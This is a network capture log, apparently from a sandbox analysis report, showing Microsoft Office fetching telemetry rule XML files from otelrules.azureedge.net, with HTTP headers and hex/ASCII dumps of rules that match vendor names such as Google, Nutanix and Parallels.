2024-12-02 06:37:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:39 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3f63c6b9-401e-0064-499d-4354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063739Z-174f78459684bddphC1EWRbht400000013rg00000000a4bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: c5359d4f-401e-0035-67ab-4282d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063741Z-174f7845968xlwnmhC1EWR0sv800000013t000000000df55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 27481374-801e-0078-46b4-42bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063741Z-174f7845968j6t2phC1EWRcfe800000014a0000000000xwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9fbcff65-e01e-0099-19a3-42da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063741Z-174f78459684db9fhC1EWRc7g4000000040000000000a50e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 2fc5819c-d01e-002b-4a95-4325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063741Z-174f78459685726chC1EWRsnbg0000001470000000000muu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:42 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ce20f954-a01e-006f-7a27-4413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063742Z-174f7845968qj8jrhC1EWRh41s0000001420000000002cqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:43 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:43 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063743Z-174f7845968psccphC1EWRuz9s00000014bg000000003b59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:43 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:43 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e579458c-401e-0064-1dbd-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063743Z-174f7845968cpnpfhC1EWR3afc00000013r0000000004qgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:43 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:43 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: b69fee9c-d01e-0028-6253-437896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063743Z-174f7845968ljs8phC1EWRe6en00000013t000000000fwua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:44 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:43 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 4e3832d9-101e-005a-31c5-43882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063744Z-174f7845968zgtf6hC1EWRqd8s0000000wx000000000dxre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:44 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:44 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 454be365-001e-0065-3d29-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063744Z-174f784596886s2bhC1EWR743w0000001430000000005w03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:44 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:45 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
